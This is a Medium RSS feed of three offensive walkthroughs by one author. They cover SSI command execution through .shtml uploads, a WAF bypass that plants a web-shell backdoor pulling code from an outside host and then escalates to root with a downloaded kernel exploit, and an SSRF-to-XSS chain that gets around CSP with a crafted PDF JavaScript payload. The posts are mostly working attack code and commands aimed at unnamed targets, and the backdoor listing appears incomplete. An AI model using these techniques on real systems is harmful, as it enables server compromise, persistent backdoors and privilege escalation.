<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by CyH1337 on Medium]]></title>
        <description><![CDATA[Stories by CyH1337 on Medium]]></description>
        <link>https://medium.com/@cyh1337?source=rss-3beb336d2d6d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hDvFSgrin_CFTsa_-V3JDg.jpeg</url>
            <title>Stories by CyH1337 on Medium</title>
            <link>https://medium.com/@cyh1337?source=rss-3beb336d2d6d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:24:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cyh1337/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[XSS or RCE  : Make your choice (.shtml) WebShebounty $$$]]></title>
            <link>https://cyh1337.medium.com/xss-or-rce-make-your-choice-shtml-webshebounty-5f71bc9041b2?source=rss-3beb336d2d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f71bc9041b2</guid>
            <category><![CDATA[xss-bypass]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[shtml]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <dc:creator><![CDATA[CyH1337]]></dc:creator>
            <pubDate>Wed, 02 Oct 2024 16:35:08 GMT</pubDate>
            <atom:updated>2024-10-02T16:35:08.203Z</atom:updated>
            <content:encoded><![CDATA[<h3>XSS or RCE : Make your choice (.shtml) WebShell bounty $$$</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*rJlbL-RRYDhDZNRL3xayOg.gif" /></figure><p>Hello, today I will talk about how to increase the impact of an attack if you have access to upload a .html file on the target. Instead of just injecting XSS payloads, you can use .shtml files to execute commands on the server and bypass upload filters.</p><p>in our target today we have upload page to apply issues for our target , and this page just allow to upload .(.txt .doc .pdf) and block any php file :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vUzJiJV937HAKPmTNOf04A.png" /></figure><blockquote>i see you now , you just thinking about to upload BAD PDF Have xss alert payload</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*3BoSw0Pztfg-sbkMemWBPw.gif" /></figure><p>Nah nah nah …..</p><p>Let’s thinking out of the box , let’s try to upload (.html) file first … :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HTifsgfTrtc5rQhmkQ5PjA.png" /></figure><p>okay file uploaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MGuhhxNZjfbh2Zq-QKWh0w.png" /></figure><p>i see you now , your are thinking about to inject XSS Codes to here and report it , lme slap you again !!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*3BoSw0Pztfg-sbkMemWBPw.gif" /></figure><p>Now, keep in mind that the endpoint blocks any PHP files but allows .html files. Let’s see if the website developer forgot about .shtml files. However, before doing that, let me explain what .shtml is</p><blockquote>SHTML stands for &quot;Server Side Includes HTML.&quot; It is essentially an HTML file that allows the inclusion of server-side script capabilities, specifically Server Side Includes (SSI). SSI provides a way to include content from other files or to execute server-side commands directly within HTML documents. The result is that dynamic content can be included on the server side before the page is sent to the client.</blockquote><p>Now let’s upload our Test command to check if we able to execute command by</p><blockquote>&lt;! — #exec cmd=”id” →<br>&lt;! — #exec cmd=”ls” →</blockquote><p>let’s try now :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4mwYWCm-OZK5c21m92ojKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-qK8JQRaIOydNjbvhGa9Dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*3g4t6ckqsVu3jmIhU2d7Aw.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f71bc9041b2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escalating Privileges and Bypassing Imunify360: A Journey from RCE to Root Access]]></title>
            <link>https://cyh1337.medium.com/escalating-privileges-and-bypassing-imunify360-a-journey-from-rce-to-root-access-859a2efce6bf?source=rss-3beb336d2d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/859a2efce6bf</guid>
            <category><![CDATA[root-access]]></category>
            <category><![CDATA[webshell]]></category>
            <category><![CDATA[escalating]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[php-web-shell]]></category>
            <dc:creator><![CDATA[CyH1337]]></dc:creator>
            <pubDate>Mon, 30 Sep 2024 22:40:10 GMT</pubDate>
            <atom:updated>2024-09-30T22:40:10.549Z</atom:updated>
            <content:encoded><![CDATA[<p>Besm Allah</p><p>In today’s presentation, I will outline the steps I took to bypass the <strong>Imunify360</strong> Web Application Firewall (<strong>WAF</strong>) on my target, enabling me to upload a web shell. Additionally, I will detail how I leveraged a vulnerability in the “<strong>kernel</strong>” to gain root access to the server.</p><p><strong>Let’s upload our WebShell on target and bypass filter .</strong></p><p>in my target the endpoint of upload file not accepted <strong>.php</strong> extension &amp; WAF is not accepted any Content-type not like images .</p><p>so we will use normal image (logo1337.png) and try to upload it by “Burp”.</p><p>And i will inject my “PHP” Test code to check of file will Run as “PHP” , i will use</p><pre>&lt;?php echo &quot;pwnedleet1337&quot;; ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BuH8D8YWRMpyxalZX6mZGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cEpwzFUjf670XHVuuQd3dQ.png" /></figure><p>In this example, I employed a straightforward coding approach to avoid detection by the Web Application Firewall (WAF).</p><p>** Important Note: Most WAFs effectively detect PHP files containing functions like system() or eval() as indicators of a web shell. Therefore, it’s essential to think outside the box and understand the inner workings of the WAF.</p><p>If a WAF identifies a web shell file, it will either delete the file or remove the line containing the “eval” code. In our scenario, the WAF successfully detected and deleted our system() and eval() code.</p><p>in our statue WAF is Delete our system() &amp; eval() code :)</p><p><strong>Bullding our custom WebShell :</strong></p><p>in our case we need to coding WebShell but not WebShell , let me explain this .</p><p>we need php script to get webshell from out source and don’t save code in same file No !! it will work like Real-time or Mirror file !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TqWQcRvBHIubn30QIKR0NQ.png" /></figure><p>let’s code first the backdoor file</p><pre>&lt;?php  <br>// Ensure the URL parameter is set  <br>if (isset($_GET[&#39;url&#39;])) {  <br>    $url = $_GET[&#39;url&#39;];  <br><br>    // Basic validation for the URL (you can enhance this)  <br>    if (filter_var($url, FILTER_VALIDATE_URL)) {  <br>        // Get content from the URL  <br>        $code = @file_get_contents($url);  <br>        <br>        // Check if fetching was successful  <br>        if ($code !== false) {  <br>            // Start output buffering  <br>            ob_start();  <br>            // Execute the code  <br>            // Get the output  <br>            $output = ob_get_clean();  <br>            <br>            // Display the output  <br>            echo $output;  <br>        } else {  <br>            echo &quot;Error fetching content from the URL.&quot;;  <br>        }  <br>    } else {  <br>        echo &quot;Invalid URL.&quot;;  <br>    }  <br>} else {  <br>    echo &quot;No URL parameter provided.&quot;;  <br>}  <br>?&gt;</pre><p>Okay this file simply when call code from other website and mirror it in same page and execute in on our target “?url=https://site.com/shell.txt”</p><p>Now let’s code our WebShell</p><pre>&lt;?php  <br>// Get the current working directory  <br>$currentDirectory = getcwd();  <br><br>// Print the current directory  <br>echo &quot;&lt;h2&gt;Current Directory:&lt;/h2&gt;&quot;;  <br>echo &quot;&lt;p&gt;$currentDirectory&lt;/p&gt;&quot;; <br><br>$output = shell_exec(&#39;&lt;COMMAND HERE&gt; 2&gt;&amp;1&#39;);  <br><br>// Print the output inside &lt;pre&gt; tags  <br>echo &quot;&lt;pre&gt;$output&lt;/pre&gt;&quot;; <br><br>// Scan the current directory for files  <br>$files = scandir(&#39;/home/&#39;);  <br><br>// Filter out the current and parent directory entries  <br>$files = array_diff($files, array(&#39;.&#39;, &#39;..&#39;));  <br><br>// Check if there are any files to display  <br>if (count($files) &gt; 0) {  <br>    echo &quot;&lt;h2&gt;Files in Directory:&lt;/h2&gt;&quot;;  <br>    echo &quot;&lt;ul&gt;&quot;;  <br>    <br>    // Print each file in the directory  <br>    foreach ($files as $file) {  <br>        echo &quot;&lt;li&gt;$file&lt;/li&gt;&quot;;  <br>    }  <br><br>    echo &quot;&lt;/ul&gt;&quot;;  <br>} else {  <br>    echo &quot;&lt;p&gt;No files found in this directory.&lt;/p&gt;&quot;;  <br>}  <br>?&gt;</pre><p>Okay now any edit in our WebShell code will reflect on our backdoor file . and source code file on target still clean :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*cZ2ZkaSpOYeWUevECkV1UQ.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BzSM4apLDJzPg1t2Q1EAHg.png" /></figure><p>okay file uploaded …. !!!</p><p>Now let’s import our WebShell by doing this :</p><p><a href="https://target.com/uploads/img/66fb218dbafd4.phtml">https://target.com/uploads/img/66fb218dbafd4.phtml</a>?url=https://evile.com/shell.txt</p><p>in our shell.txt i will execute this command now</p><pre>$output = shell_exec(&#39;ls -all 2&gt;&amp;1&#39;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gNPiO3c0uCmBzsNW4Jo9jg.png" /></figure><p>in left is my server and i have webshell in there , in right is target server i executed command “ls -all” from my server to target server</p><p>okay this not enough .. let’s check server kernal version and lookup if kernal have any Privilege Escalation exploits</p><p>first let’s check kernal version by this command :</p><blockquote><strong><em>uname -a</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qATRjRn_LP_x6xCD86T3qw.png" /></figure><p>Now let’s search if this Kernal is have vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*OoNrGsf7HRmb0Qwt2slFcg.png" /></figure><p>Okay let’s check if this POC is working , i will upload the exploit on server</p><p>and run it</p><pre>$output = shell_exec(&#39;wget -O kernel.sh https://www.exploit-db.com/raw/47168 2&gt;&amp;1&#39;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*brdfOsZTH_cuKpv2CU-hqg.png" /></figure><p>Now let’s run it by change command to ./kernal.sh</p><p>Don’t forget chmod +x kernal.sh :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zYKJAeGFh0AIoxbNECCNKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*w51M0dDtraPiWNKyxf2VcQ.gif" /></figure><p>Thanks for watching guys contact me if need any help</p><p>FB/shehab.ios</p><p>Pwned Leet Team</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=859a2efce6bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind SSRF Low Impact to XSS & bypass CSP]]></title>
            <link>https://cyh1337.medium.com/blind-ssrf-low-impact-to-xss-bypass-csp-ba0210bbe53f?source=rss-3beb336d2d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba0210bbe53f</guid>
            <category><![CDATA[csp-bypass]]></category>
            <category><![CDATA[ssrf-attack]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[CyH1337]]></dc:creator>
            <pubDate>Sat, 28 Sep 2024 20:48:28 GMT</pubDate>
            <atom:updated>2024-09-28T20:50:03.526Z</atom:updated>
            <content:encoded><![CDATA[<p>Besm Allah <br>Hello my friends today i will Shear with you my Blind SSRF and Escalation to XSS By “<strong>bypass CSP</strong>”.</p><p>Target : target:https://site.com/proxy?source=http%3A%2F%2Fimgeurl.com/profile.png?size=20px</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SiRCYvSeqfV0kbl4b5glJA.png" /></figure><ul><li>We have <strong>Target</strong> with parameter name {proxy?source=} this function of this parameter is get Image by URL and change size by parameter name size?=</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zzozg-HA0Y7jIEXBuRshPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*zLSmqIF_0bN1cGLLu9iXvg.png" /></figure><ul><li>we got Collaborator Result :) but response is “<strong>403 forbiden</strong>” you can stop here and report as blind SSRF <br><strong><em>Notice : IP is external.. This mean low impact</em></strong></li><li>Okay Let’s report now !</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*LpUq0kxJIaSGO3gpGG-Npw.png" /><figcaption>I got Duplicated</figcaption></figure><blockquote>Open your mind let’s raise up the impact of this vulnerability</blockquote><p><strong>The methodology :</strong></p><ul><li>in normal response when we added image url into /proxy?source= in normal statue we got response with image and statue code “<strong>200</strong>” , but after we added Collaborator Payload we got “<strong>403</strong>&quot;</li><li>The first thought that will come to your mind is “<strong><em>the parameter is have validation to not accept any URL as not same in allow list</em></strong>” , but :) !!! if this true the back-end will not make the request going through and you will not get Collaborator Result :)))))) .</li><li>Okay now let’s start the Game ^_^ , Let’s try to Inject our XSS Payload into image (.png) file and try to view it and let’s see what will happen</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zan8oxk9GkPk_JxjoALowA.png" /></figure><p>Okay now we see response is “200 OK” But still not showing XSS Alert <br>because extension of file is (.png) but first idea we got is “this endpoint is showing 200 ok response if extension of file as image any other extension we will got 403 ”</p><p>let’s To verify what we are saying, we will call the (.html) file from another site “https://pwnedleet.com/LAB/xss.html”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0w2ClsPJwv5PAGplZnBk1A.png" /></figure><p>okay we right …</p><p>so now we need to create payload xss by javascript code but we will make our server run any .png file as html file so extension file will be .png but will work like Normal HTML Page</p><ul><li>Let’s create dir name “/red”</li><li>and let’s create .htaccess to run any image file as normal html page</li></ul><blockquote>RewriteEngine On <br>RewriteRule ^(.+)\.png$ image.php [L]</blockquote><ul><li>this mean any file name image.png will open like image.php</li><li>now let’s create File name image.php and add payload in there</li></ul><blockquote>&lt;h1&gt; xss by Cyh1337&lt;/h1&gt;<br>&lt;script&gt; alert(1);&lt;/script&gt;</blockquote><p>okay now let’s try now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_9kQLnHKgvyIe5QjyT6S9Q.png" /></figure><p>We got same issues “403” .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*dvewcqXRPbc14zDnMI5Wgg.gif" /></figure><p>Keep thinking why giving us 403 .</p><p>i think website have filter to check if content of page is image or other file let’s try other idea i will change statue code for this page to give 404 this mean this fille is not found and should return “404”</p><p>let’s try to change our file on our server statue code to “207 or 404”<br>file will be :</p><blockquote>?php <br>http_response_code(207);<br>&lt;h1&gt; Hello Here is XSS&lt;/h1&gt;<br>&lt;script&gt; alert(1);&lt;/script&gt;&lt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3OVUwh4UuERiAVi2hRbVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*sIIGDjV5ZGZrpQvVBOqUMw.gif" /></figure><p>But wait wait Alert is not Working !!! <br>let’s see what is issues :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YXM-sfu80fCNFq4lySbz8g.png" /></figure><blockquote>Content-Security-Policy: The page’s settings blocked an inline script (script-src-elem) from being executed because it violates the following directive: “script-src ‘sha256-hashvalue’”</blockquote><p>We have CSP !!!<br>it’s depned on ‘sha256-hashvalue’” but hash bvlue not set !!! and we don’t have any other endpoint not have CSP you can add meta html code to redirect to any website and this will be “Open Redirect Vulnerability”</p><p>Let’s do some magic :)</p><p>We will byPass CSP By PDF File have XSS Payload !</p><p>file will be test.pdf</p><pre>%PDF-1.7<br>        1 0 obj<br>        &lt;&lt;/Pages 1 0 R /OpenAction 2 0 R&gt;&gt;<br>        2 0 obj<br>        &lt;&lt;/S /JavaScript /JS (app.alert(&quot;XSS By Cyh1337&quot;))<br>        &gt;&gt; trailer &lt;&lt;/Root 1 0 R&gt;&gt;</pre><p>and change .htaccess file to be like</p><pre><br>RewriteEngine On<br><br># Rewrite rule for PNG files to redirect to image.php  <br>RewriteRule  ^(.+)\.png$ echo.php [L]</pre><p>And create new php file name echo and content will be :</p><pre>&lt;?php  <br>http_response_code(207);  <br>// Path to the PDF file  <br>$pdfFile = &#39;test.pdf&#39;; // Adjust the path as necessary  <br><br>// Check if the file exists  <br>if (file_exists($pdfFile)) {  <br>    // Set the appropriate headers  <br>    header(&#39;Content-Type: application/pdf&#39;);  <br>    header(&#39;Content-Disposition: inline; filename=&quot;&#39; . basename($pdfFile) . &#39;&quot;&#39;);  <br>    header(&#39;Content-Length: &#39; . filesize($pdfFile));  <br><br>    // Read the file and output its content  <br>    readfile($pdfFile);  <br>    exit;  <br>} else {  <br>    echo &quot;File not found.&quot;;  <br>}  <br>?&gt; </pre><p><strong>I made the php file read the pdf file to display its content, and then the htaccess file will treat the php file as an image.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C_UHYHCkfP4BmPTNrPezkw.png" /></figure><p>okay final file will be : <a href="https://pwnedleet.com/LAB/SSRF/echo.png">https://pwnedleet.com/LAB/SSRF/echo.png</a><br>let’s add to endpoint now and see what will happen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iA2smmBV5ie6D-XzDQfJUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*nWc2feZgjrbQofaaRBwo-w.gif" /></figure><p>Social</p><p>FB :/shehab.ios</p><p><a href="https://www.linkedin.com/in/shehab1337/">https://www.linkedin.com/in/shehab1337/</a></p><p><a href="https://www.youtube.com/@pwendleet">https://www.youtube.com/@pwendleet</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba0210bbe53f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>